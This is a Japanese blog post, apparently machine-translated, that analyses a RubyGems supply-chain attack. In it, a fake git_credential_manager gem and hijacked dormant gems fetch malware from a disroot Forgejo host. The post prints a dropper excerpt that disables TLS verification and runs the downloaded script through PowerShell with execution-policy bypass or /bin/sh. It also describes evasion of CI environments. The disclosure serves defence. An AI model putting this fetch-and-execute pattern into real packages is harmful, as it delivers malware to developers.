RubyGemsに対するサプライチェーン攻撃はめったに見られるものではありません。しかし、夏休み真っ只中ということもあり、こうした攻撃が起きてもおかしくはないかもしれません。それでも、今朝トリアージキューを開いて、不審な新しいパッケージが待機しているのを見つけたときは、やはり驚きました。
「」という名の、まったく新しい逸品 git_credential_manager 4つのバージョンが立て続けに公開されました。一見したところ、そのプログラムがしていたのは、見たこともないホストからいくつかのバイナリをダウンロードすることだけのように見えました。まさか、それが悪意のあるものなどあるはずがない……ですよね?
ランダムなバイナリ
そのパッケージは、単に以下にホストされているGitリポジトリからバイナリをダウンロードするだけだったため、すぐに目につきました。 https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org これは、誰でもリポジトリを作成できる公開のForgejoインスタンスです。誰かが、ちょうどいいタイミングでユーザー名を登録していました gitエコシステム、これにより、このプロジェクトは、直ちに疑いを招かない程度に、十分に正当なものに見えるようにしている。
リポジトリの中には、バイナリファイルしかなく、その一部はZIP形式で圧縮されていました。そのうちの1つをVirusTotalに提出したところ、ウイルス対策ベンダー各社は即座にそれを悪意のあるファイルとして検知しました。
「Gitエコシステム」さえ信用できなくなったら、この世はどうなってしまうんだ? /s
よく見れば、それほど控えめとは言えない
4つのバージョンを個別に確認していくと、2回に分けて約9時間にわたり、配信メカニズムがリアルタイムで構築されていく様子を見ることができます。
バージョン 2.8.0 初日からすでに完全に機能するドロッパーとなっていました。ハードコードされたForgejoホストに対してURLを生成し、証明書の検証を明示的に無効にしてそれを取得し、ペイロードをシェルまたはPowerShellに直接渡すという仕組みでした:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # SSLの検証を無効にするもし goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
バージョン 2.8.1, 24分後、たった1つだけ変更が加えられた。それは、Unixの実行出力を /dev/null. 新しい機能ではなく、単に静かになっただけだ。誰かが自作のマルウェアのコンソール出力を監視していて、それがうるさすぎると判断したようだ。
その後、おそらく睡眠のための8時間の空白期間があり、その後にバージョン 2.8.2 翌朝、実際に事態がエスカレートしたことが判明した。インストーラーがgemのロードパスに直接組み込まれてしまったため、単に require-ing git_credential_manager (バイナリをインストールせず、明示的に何かを実行することもなく、単にライブラリを読み込むだけ)で、システム全体が起動してしまう。そして、その同じリリースでは、ダウンロードされたスクリプトを実行する行がコメントアウトされている。17分後、バージョン 2.8.3 コメント解除します。機能的にはたった1文字で、ドロップボックスは「ステージング環境」から「本番環境」に移行します。
また、skip_install? というチェック機能もあり、CIプラットフォーム、GitHub Actions、GitLab CI、CircleCI、Travis、Jenkins、Vercelに属する約30個の環境変数をスキャンし、それらが見つかった場合は何も実行しません。これは、意図的にビルドサーバーを回避するために実装されました。この機能は、使い捨てのCIランナーではなく、開発者のノートPCでの実行を想定しています。
その他の脆弱性が確認されたパッケージ
次に、その出版社のアカウントを確認したところ、他にもいくつかの珠玉の作品が掲載されていることに気づきました。中には2019年以来更新されていないものもあれば、昨日や今日になって突然新作が公開されたものもありました。
中でも特に注目すべきは、2017年に初めて公開された「Dendreo」でした。git_credential_managerとほぼ同時期に、2つの新しいバージョンが登場しました。当然のことながら、攻撃者はgit_credential_managerを依存関係として追加しており、これにより悪意のあるペイロードが既存のユーザーに拡散することになりました。

さらに懸念されるのは、攻撃者が新バージョンの fastlane-plugin-run_tests_firebase_testlab、これとは全く関係のないプロジェクトで、 総ダウンロード数:574,661。他の侵害されたgemとは異なり、このgemはまったく別のメンテナーが管理していたことから、侵害の範囲は単一のアカウントにとどまらないことが示唆される。

ここでの本当の教訓は
これまで、今回のようなnpmやPyPIでのインシデントについては数多く取り上げてきました。RubyGemsは概してこうした傾向から一線を画してきましたが、互いに関連のない、長期間休眠状態だった2つのメンテナーアカウントが、わずか数時間の差で相次いで再活性化され、人々がすでに信頼していたgemに同じ依存関係をプッシュしたような事例は、これまでに確認されていませんでした。 私たちの知る限り、これはRubyGemsが、npmやPyPIがここ1年以上も直面してきた問題に初めて本格的に直面した事例と言えます。
6~7年間も活動が途絶えているRubyGemsアカウントは、誰の目にもリスクがあるようには見えない。それこそが、乗っ取る価値のあるアカウントだ。「SleeperGem」という名称の由来もここにある。これは、仕掛けられた長期的な攻撃用資産ではなく、単に休眠状態になっており、誰にも気づかれることなく乗っ取っても無害に見える、ごく普通の実際のアカウントなのである。
これまでほとんどこうした事態を免れてきたレジストリで、これまでに2つのアカウントが停止されました。これが傾向にならないことを願いたいものです。

